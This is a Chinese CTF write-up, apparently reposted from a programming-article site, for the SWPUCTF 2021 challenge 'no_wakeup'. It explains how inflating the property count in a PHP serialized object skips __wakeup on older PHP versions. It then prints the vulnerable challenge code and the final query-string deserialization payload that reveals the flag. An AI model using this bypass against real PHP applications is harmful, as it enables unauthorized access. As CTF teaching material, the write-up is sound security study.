本文主要是介绍[SWPUCTF 2021 新生赛]no_wakeup,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
__wakeup 绕过
只有一个要点:__wakeup 绕过
__wakeup 魔术方法在执行反序列化时,会被优先调用,而不会调用 __construct 方法。
绕过方法:序列化字符串中表示对象属性个数的值大于真实属性个数时,就会跳过 __wakeup 的执行。
比如:
O:6:"people":3:{s:4:"name";s:6:"张三";s:3:"age";s:2:"18"}
people 后面的值 3 大于真实属性个数 2,在反序列化时不执行 __wakeup。并且此时,反序列化会立刻强制触发 __destruct() 。
漏洞影响版本:PHP 5 < 5.6.25,PHP 7 < 7.0.10
题目代码:
<?phpheader("Content-type:text/html;charset=utf-8");error_reporting(0);show_source("class.php");class HaHaHa{ public $admin; public $passwd; public function __construct(){ $this->admin ="user"; $this->passwd = "123456"; } public function __wakeup(){ $this->passwd = sha1($this->passwd); } public function __destruct(){ if($this->admin === "admin" && $this->passwd === "wllm"){ include("flag.php"); echo $flag; }else{ echo $this->passwd; echo "No wake up"; } } }
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
payload:
<?php
class HaHaHa{public $admin="admin";public $passwd="wllm";
}
$demo = new HaHaHa;
echo serialize($demo);
?>
得到的序列化字符串为:
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
“HaHaHa” 后面的 2 代表该类的属性有两个,将它改成大于 2 的数字。
所以最终的 payload 为:
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
这篇关于[SWPUCTF 2021 新生赛]no_wakeup的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!